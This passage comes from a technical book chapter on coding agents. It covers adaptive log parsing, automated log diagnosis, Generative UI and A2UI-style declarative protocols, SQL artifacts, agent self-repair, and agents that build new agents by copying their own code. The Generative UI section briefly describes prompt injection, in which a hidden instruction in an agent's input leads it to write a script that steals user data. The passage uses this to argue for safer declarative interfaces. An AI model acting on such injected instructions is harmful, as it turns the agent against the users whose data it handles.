Step 2, fine-grained localization: Call the sub-agent again with a narrower range and a screenshot density of every second to precisely locate the boundary time points.

Encapsulating video analysis as a sub-agent prevents a large number of screenshots from occupying the main Agent’s context. After localization, generate the Blender API script. The Reviewer Agent performs a quick preview, checks keyframes, and provides feedback for modification, iterating until the standard is met before full rendering.

Acceptance criteria: The Agent can accurately identify different scenes in the video and correctly generate editing scripts based on natural language instructions. The start and end points are accurate (error within 3 seconds). If the instructions include special effects requirements (slow motion, transitions, subtitles), the generated video correctly applies the effects. The Reviewer Agent can detect obvious errors (missing key content, including irrelevant segments) and trigger corrections. The final output video file has the correct format and meets expected quality.

Code as a System Adapter#

The code in the previous sections mostly produces “human-facing” things — reports, slides, interfaces. The code in this section points in another direction: connecting machine to machine. In real systems, the external services an Agent must talk to often have no ready-made SDK, and their interfaces are rarely tidy — documentation missing, return formats non-standard, fields drifting from version to version. The Agent does not need to wait for someone to write an adaptation layer in advance. It can read the interface documentation on the spot, or simply observe one or two real responses, and generate the adapter then and there: construct an HTTP client, assemble authentication headers, parse the non-standard return structure, and translate the upstream data model into a shape the downstream can consume. Code here is “universal glue” for connecting arbitrary systems — wherever there is a gap, a piece of glue is generated on the spot to fill it. This is the heart of the meta-capability’s “system interface” direction. The adaptive log parsing developed below is this capability made concrete in the observability setting: facing log formats that never stop evolving, the Agent likewise adapts by generating parsing code on the fly.

This “universal glue” can also extend to systems with no API at all: when an external system only exposes a graphical interface, the Agent can first operate the interface through Computer Use (detailed in Chapter 9), then solidify the successful operation sequence into an RPA tool in code — the next time the same task comes up, it simply runs the code, fast and stable, with no expensive visual reasoning required. RPA, you might say, is the system adapter taken to its extreme: an adapter for systems with no interface at all. This “workflow recording and solidification” mechanism is developed in Chapter 8.

Data processing is among the most common — and most tiresome — tasks in software systems. The root cause is that data formats are diverse and never stand still. A single system may change its formats many times as it evolves — new fields, restructured nesting, new types. Hand-writing a parser for every format carries a punishing maintenance cost: each change means updating the parsing logic, testing compatibility, and shipping a new version.

Code generation offers a different approach entirely: when the Agent meets a new format, it generates parsing code on the fly from sample data, so the system tracks the evolution of formats automatically, with no human intervention.

Agent Log Parsing and Visualization.

The observability of Agent systems depends on the visualization of execution flows. A complex Agent task may involve hundreds of steps, including multiple LLM calls, dozens of tool executions, and interactions between multiple sub-agents. Visualizing this data faces multiple challenges: different tools return data in different structures, and formats evolve with system iterations; a complete trajectory may contain hundreds of thousands of characters, requiring a balance between overview and detail.

Code generation offers an elegant solution: establishing an auto-repair feedback loop. When the frontend encounters an unparseable log format, instead of displaying an error, it automatically reports the failure information (raw log sample, detailed error) to the Agent. The Agent analyzes the sample data structure and generates frontend code that can correctly parse it. The code is first automatically tested in a virtual browser (verifying parsing correctness, using a Vision LLM to check visualization effects), and upon passing, is hot-updated into the frontend system.

Experiment 5-7 ★★★: Adaptive Log Parsing System

Experiment Goal: Build a self-evolving Agent log visualization system.

Technical Approach: The initial system only supports basic formats. Frontend detects parsing failure → Reports to Agent → Generates parsing code → Virtual browser testing → Hot-update deployment. The entire process is automated.

Acceptance Criteria: Automatically detect failures and trigger learning, generate code that passes automated tests, correctly parse new formats after hot-update.

Automatic Analysis and Problem Diagnosis of Agent Execution Logs.

Agents in production generate a large volume of trajectory logs (recording the complete process of each task). However, identifying problems, locating root causes, and constructing test cases from these logs is a high-cost endeavor. Problem localization is difficult because task failures can result from collaborative errors across multiple modules; reproduction costs are high because the complexity of the production environment is hard to simulate in a test environment; and fixed problems tend to recur due to a lack of systematic regression testing.

Code generation provides an automated path for diagnosis. The Agent can read production logs, combine them with architecture documents and PRDs (Product Requirement Documents) to automatically determine whether the execution flow meets expectations, and pinpoint the problematic components and modules. Based on the analysis results, it generates structured problem reports (priority, module, description, improvement suggestions) and regression test cases—the test cases reference the problem trajectory ID and key interaction rounds, and the test framework automatically replays them to verify that the fixed system produces correct behavior for the same input. Finally, the Agent connects to GitHub via MCP to create an Issue and assign it to the relevant developer, completing the full automation from problem discovery to task assignment.

Experiment 5-8 ★★★: Intelligent Diagnostic System for Production Logs

Experiment Goal: Automatically discover problems from production trajectories, generate test cases, and create work items.

Technical Approach: The Agent reads the set of production trajectories, analyzes them in conjunction with system architecture documents and PRDs: identifies problem patterns, locates the involved modules. Generates structured problem reports (priority, module, description, improvement suggestions). Automatically generates regression test cases (referencing trajectory IDs and interaction rounds, automatically replayed and verified by the test framework). Automatically creates Issues on GitHub via MCP.

Code as Generative UI#

Traditional Agent systems interact with users mainly through plain-text dialogue. But text is a linear, one-dimensional medium, and in many scenarios an inefficient one. Collecting structured information turns into a long back-and-forth of questions; complex data relationships strain what plain text can express; and when the user must choose among options, a text list is far less intuitive than a visual interface.

Code generation offers the possibility to break through these limitations: Agents can dynamically generate forms, interactive charts, and even complete web applications, upgrading static text dialogue into rich multimodal interaction. This pattern, where the Agent dynamically generates the interface, is called Generative UI.

A2UI-like Protocols: Standardizing Generative UI.

When Agents directly generate HTML and JavaScript code as UI, there is a fundamental security problem: the generated code might contain malicious content. For example, if someone deliberately hides an instruction in the input, the Agent could be manipulated by prompt injection, unknowingly generating a script that stealthily steals user data. It’s important to clarify the causality: the cause is prompt injection (malicious instructions mixed into the Agent’s input), while the effect of executing malicious scripts and stealing data in the browser is similar to traditional Web XSS (Cross-Site Scripting)—the entire attack shouldn’t simply be called XSS. Declarative interface protocols represented by A2UI (Agent-to-User Interface) offer a safer direction: the Agent does not directly generate executable code, but only outputs a “UI description manifest” (in JSON format), such as “Please display a table with 3 rows and 2 columns, titled ‘Sales Data’.” Upon receiving this manifest, the client renders the interface using its own pre-defined, safe components. This is like a restaurant menu: the customer (Agent) can only order dishes on the menu (pre-defined components), not go into the kitchen and cook themselves (execute arbitrary code). A common confusion needs clarification: AG-UI (Agent-User Interaction, proposed by CopilotKit), despite its similar name, is not a UI description language, but rather a supporting event/transport protocol responsible for streaming the Agent’s execution state (messages, tool calls, state patches) to the frontend. It can even carry UI payloads like A2UI. Therefore, they are complementary, not of the same category, and should not be listed together as the same “declarative interface protocol.”

The core design principle of such protocols is security-first: the client maintains a trusted component catalog (e.g., Card, Button, TextField, Table), and the Agent can only request to render components already in the catalog, unable to inject arbitrary code. The client renders using its own native components, not by executing arbitrary HTML generated by the Agent. These protocols typically also support cross-platform (the same description renders in React, Flutter, native apps) and incremental generation (streaming JSONL format, rendering as it’s received).

Of course, the declarative approach is suitable for standardized interaction scenarios (forms, tables, cards), while for highly customized needs (e.g., custom visualizations, game interfaces), direct code generation remains the more flexible choice. Below are specific applications of both patterns.

Delivering Results with HTML: Replacing Markdown Reports. Generative UI is not only used during interaction but is also changing the form of the Agent’s final deliverable. Traditionally, an Agent finishes a task and hands over a Markdown report; but paging through linearly arranged Markdown is not a pleasant way to read. As Agents get better at generating frontend code, practice is shifting toward having them produce HTML directly. Compared to Markdown, HTML deliverables have several distinct advantages. First, interactive demonstrations: they can directly show how the system operates in an actionable form, which users often understand at a glance, far better than lengthy text descriptions. Second, better data visualization: using charts instead of tables to present data, and building interactive components that allow users to browse, filter, and drill down into details of interest. Third, continuously improvable deliverables: an HTML website doesn’t have to be a static artifact produced only at the end of a task; it can be continuously supplemented and improved by the Agent as work progresses.

Take the author’s own experience writing research papers as an example: for each research project, the author maintains an interactive website⁴. It serves as both the final deliverable and a living document throughout the research process—the author has the Agent continuously update it as experiments progress. This website serves at least three purposes. First, experiment data traceability: the specific data for every experiment, the prompts used, and the LLM’s raw responses can all be inspected item by item on the site; laying everything out in the open makes it easier to spot problems in data construction, format, and distribution, and to notice systematic biases in the LLM’s responses or the judge’s scoring. Second, training metric monitoring: the training curves are laid out directly on the page, making it easy to confirm at any moment that the model’s internal health metrics are sound. The term borrows from medicine: these are internal signals of whether the training process itself is healthy—training and validation loss, gradient norm, learning rate, the model’s perplexity when emitting tokens (a measure of its “confidence” in its own output), and in reinforcement learning, reward, KL divergence, and policy entropy. They differ from final outcome metrics like task accuracy: just as physiological readings in a check-up stand apart from a person’s outward performance, internal health metrics often surface problems—non-converging loss, exploding gradients, training collapse—much earlier. Third, operational principle demonstration: visualization lays bare how the whole system works, so that the structure of this AI-built system can be taken in at a glance.

Clarifying User Intent.

When user requirements are vague or incomplete, the Agent needs to clarify by asking questions to gather necessary information. Products like OpenAI Deep Research typically clarify through text Q&A, which has clear limits: on efficiency, every question costs a dialogue turn, so ten clarification points cost ten rounds; on expressiveness, some questions depend on others (the choice of travel destination constrains the options for mode of transport), a cascade plain text struggles to convey.

Through code generation, the Agent can create structured interactive interfaces to replace text-based Q&A. Figure 5-8 illustrates the dynamic form generation process, showing how the Agent transforms clarification questions into a structured interface that can be filled out in one go. The Agent generates an HTML form containing various input controls—text boxes for open-ended information, dropdown menus for predefined options, checkboxes for multiple selections, and date pickers for simplified time input. Going further, the Agent can generate cascading forms—implementing dynamic logic via JavaScript: automatically showing or hiding subsequent questions based on selections, dynamically updating available options. The user fills out the entire form at once, eliminating multiple dialogue rounds, and can clearly see all required information and the logical relationships between questions.

Experiment 5-9 ★★: Intent Clarification System with Dynamic Forms

Experiment Goal: Verify the Agent’s ability to clarify user intent by dynamically generating HTML forms.

Technical Approach: The Agent analyzes the user’s request, identifies clarification points, and generates form code with cascading logic. The frontend renders it, the user submits it once, and the Agent parses the JSON data to continue the task.

Acceptance Criteria: User inputs “I want to book a flight to Beijing.” The Agent generates a form containing: departure city (text input), departure date (date picker), trip type (radio: one-way/round-trip), return date (only displayed when “round-trip” is selected). The user submits all information in one go.

Generating SQL Queries.

Database querying is a scenario where code generation can significantly enhance the interaction experience. Traditional database access relies on GUI tools or handwritten SQL; the former is cumbersome to operate, and the latter requires the user to have specialized knowledge. An Agent can translate natural language into SQL, but there is a key design choice here: should the Agent execute the SQL and then describe the results in natural language, or should the Agent generate the SQL code as an artifact for the frontend to execute directly?

The first approach looks more “intelligent” but is grossly inefficient—a query against a large table may return thousands of rows. Having the LLM read all that and describe it in prose burns tokens and time, and worse, LLMs are notoriously error-prone when “transcribing” data. A better approach is the artifact pattern. Figure 5-9 shows the workflow of an SQL query Agent: the Agent does not read the data itself. Instead, it generates a piece of SQL query code and hands this code as an independent “artifact” to the system. The system takes this SQL and queries the database directly, rendering the retrieved data into a table visible to the user. Throughout this process, data flows directly from the database to the user interface, completely bypassing the LLM “middleman”—the LLM is only responsible for writing the query statement, not for reading thousands of rows of data and then recounting them to the user. This is both fast and accurate.

Going further, the Agent can generate two artifacts forming a pipeline: SQL query + visualization code (e.g., a bar chart). The frontend passes the SQL results directly to the visualization code. The LLM is only responsible for generating the code, not for participating in data transfer—this is the essence of code generation as an interface.

Experiment 5-10 ★★: Natural Language Interaction ERP Agent

ERP (Enterprise Resource Planning) software is a critical system for businesses, typically using a GUI interface where complex operations require multiple mouse clicks. An AI Agent can convert user natural language queries into SQL statements, enabling automated querying.

Requirements: Set up a PostgreSQL database containing two tables: (1) Employee table, including employee ID, name, department, level, hire date, resignation date (NULL means currently employed); (2) Salary table, including employee ID, pay date, salary (one record per month). The Agent automatically answers:

1. What is the average tenure of each employee?
2. How many active employees are in each department?
3. Which department has the highest average employee level?
4. How many new employees joined each department this year and last year?
5. What was the average salary for department A from March of the year before last to May of last year?
6. Which department had a higher average salary last year, A or B?
7. What is the average salary for employees at each level this year?
8. What is the average salary in the last month for employees with tenure of less than one year, one to two years, and two to three years?
9. Which 10 employees had the largest salary increase from last year to this year?
10. Are there any cases of unpaid wages (employed in a month but no salary record)?

Dynamically Generating Software.

The ultimate application of code generation is letting the Agent create software entirely dynamically, from scratch. Anthropic’s “Imagine with Claude” marks out the frontier: the user makes a request, Claude generates the frontend interface and interaction logic in real time, the user interacts with the generated software, and Claude modifies the code to produce a new interface showing the results. The user watches an application come into being from nothing and keep evolving.

Fully dynamic generation, however, is costly and slow—better suited to demonstrating what is possible than to production. A more pragmatic direction is customized modification on top of an existing framework. This “semi-custom” model keeps the stability of the base software while opening specific dimensions to user control—the user says “make the button blue,” “add a shortcut menu to the sidebar,” “switch to a more readable font”; the Agent understands and modifies the frontend code, and HMR (Hot Module Replacement—partial hot swapping that preserves application state and takes effect without a full page refresh) applies it instantly. A one-size-fits-all product becomes an experience personalized to each user.

Experiment 5-11 ★★: Conversational Interface Customization System

Experiment Goal: Implement the ability for users to instantly customize the software interface through natural language dialogue, verifying the effectiveness of code generation supported by hot-reload mechanisms in providing personalized user experiences.

Technical Approach: Build a basic chatbot application (React frontend + FastAPI backend), with both frontend and backend running in development mode supporting hot reload (React’s HMR, FastAPI’s reload). Users propose UI customization requirements (colors, fonts, layout, component positions, etc.) during the conversation. The Agent autonomously modifies the code. The hot-reload mechanism automatically detects file changes, the frontend recompiles and refreshes, and the user sees the interface changes in real-time. Supports multiple rounds of iterative customization.

Code Creating Code: Agent Bootstrapping#

The previous sections have followed code generation across one domain after another—from mathematical reasoning to document creation to interface customization. Push these capabilities to their limit and a natural question arises: can an Agent use code generation to create another Agent?

First, we need to clarify the division of labor with Chapter 8. This section discusses Agents using code to repair and create Agents of their own kind—self-repair, self-replication, and on-demand reproduction of new Agents—with the target being the Agent’s code and structure. Chapter 8’s “self-evolution” is a different matter, referring to an Agent’s ability to continuously grow its capabilities (accumulating experience, optimizing prompts, building a tool library) without modifying model weights, with the target being the Agent’s knowledge and strategies. Both can be called “evolution,” but to avoid confusion with the chapter title of Chapter 8, this section uses bootstrapping to refer to this “code-producing-Agent” capability.

Agent Self-Repair: OpenClaw Doctor.

A crucial prerequisite for Agent bootstrapping is the ability to self-repair. The doctor command in OpenClaw embodies this capability—it can automatically detect three types of issues:

• Configuration anomalies: Expired OAuth tokens, legacy configuration formats, port conflicts
• State issues: Stale session lock files, missing plugin dependencies
• Service health issues: Gateway not running, missing sandbox images

It then automatically resolves them through a layered repair strategy: safe fixes (configuration normalization, lock file cleanup) are executed automatically; risky operations (service restarts, forced configuration overwrites) require user confirmation.

Let’s not overstate this: high-frequency problems like expired tokens, stale lock files, and port conflicts come with clear detection rules and fixed repair actions, and doctor covers them first with a set of deterministic checks—no different in kind from a traditional ops script. Where Agent capability genuinely shows is the second layer: for hard problems the deterministic rules don’t cover, doctor hands off to an LLM to analyze error logs, understand the semantics of configuration files, infer cause and effect, and produce a targeted repair plan. Deterministic checks fix the common problems reliably; the LLM backstops the long tail—and with the two layers together, doctor --fix can automatically resolve a substantial share of common gateway issues. What makes this “Agent repairing Agent” pattern notable: once the Agent’s object of work is no longer an external system but its own runtime environment, self-repair is promoted from a system adapter into the infrastructure of Agent bootstrapping.

Key Techniques for Making an Agent Write an Agent.

Creating a high-quality Agent is far harder than generating ordinary application code, because it demands a deep understanding of Agent architecture patterns, best practices, and common pitfalls. Without that domain expertise, even the most powerful code generation models produce Agents with serious architectural flaws. The common ones:

1. Casual context management: Failing to use the standard context format discussed in Chapter 2, stuffing trajectories as plain text into the context, ignoring KV Cache optimizations from structured messages, and having boundary bugs in tool call loops
2. Non-standard tool design: Vague descriptions, missing usage boundary instructions and negative lists, and parameters lacking concrete examples
3. Outdated technology choices: A tendency to use the most common but outdated models and APIs from training data. Solution: Maintain a SOTA knowledge base or equip the Agent with search capabilities
4. Disconnection from the external ecosystem: Using deprecated APIs, unmaintained libraries, or flawed patterns

The most effective path to solving these problems is not to exhaustively list all rules in the prompt, but to provide high-quality Agent implementations as reference examples, guiding the code generation Agent to modify them rather than starting from scratch.

The advantage of example-based generation is plain: the example code itself carries the best practices. An Agent modifying an example gets things right more often than one starting from scratch, and good architectural choices survive on their own—no need to spell out every rule in the prompt.

When an Agent receives a task to develop a new Agent, it should first copy its own code (or other validated, high-quality implementations) and then make targeted modifications: adjust the system prompt to match the new role, replace or add tools to suit new functions, modify business logic while preserving the architectural framework. This “self-replication with adaptive modification” pattern ensures the new Agent inherits core technical advantages while allowing differentiation in specific dimensions—much like gene replication with mutation in biology.

Experiment 5-12 ★★★: Develop an Agent That Can Create Agents

Experiment Goal: Build a Coding Agent with metaprogramming (the ability to write programs that generate or modify other programs) capabilities, enabling it to automatically create new Agent systems based on user requirements while ensuring adherence to best practices.

Technical Approach: Provide the Coding Agent with high-quality Agent implementations as reference examples (the ch5/coding-agent project itself can be used). When tasked with creating a new Agent, the Agent first copies this example code and then makes targeted modifications based on the user’s specific needs.

Acceptance Criteria: The generated Agent can successfully run and complete basic tasks. Verify the use of standard message formats and tool call protocols, and the use of currently recommended models and APIs. Test the correctness of context and state management across multiple conversation turns. Compare the “generation from scratch” and “modification based on examples” modes, validating the latter’s advantages in quality and efficiency.

Agent bootstrapping is the ultimate application of code generation—an Agent that can create Agents achieves the self-replication of intelligence. With that, we have traced the chapter’s full arc: from the foundations of the Coding Agent, through the many uses of code generation, to bootstrapping.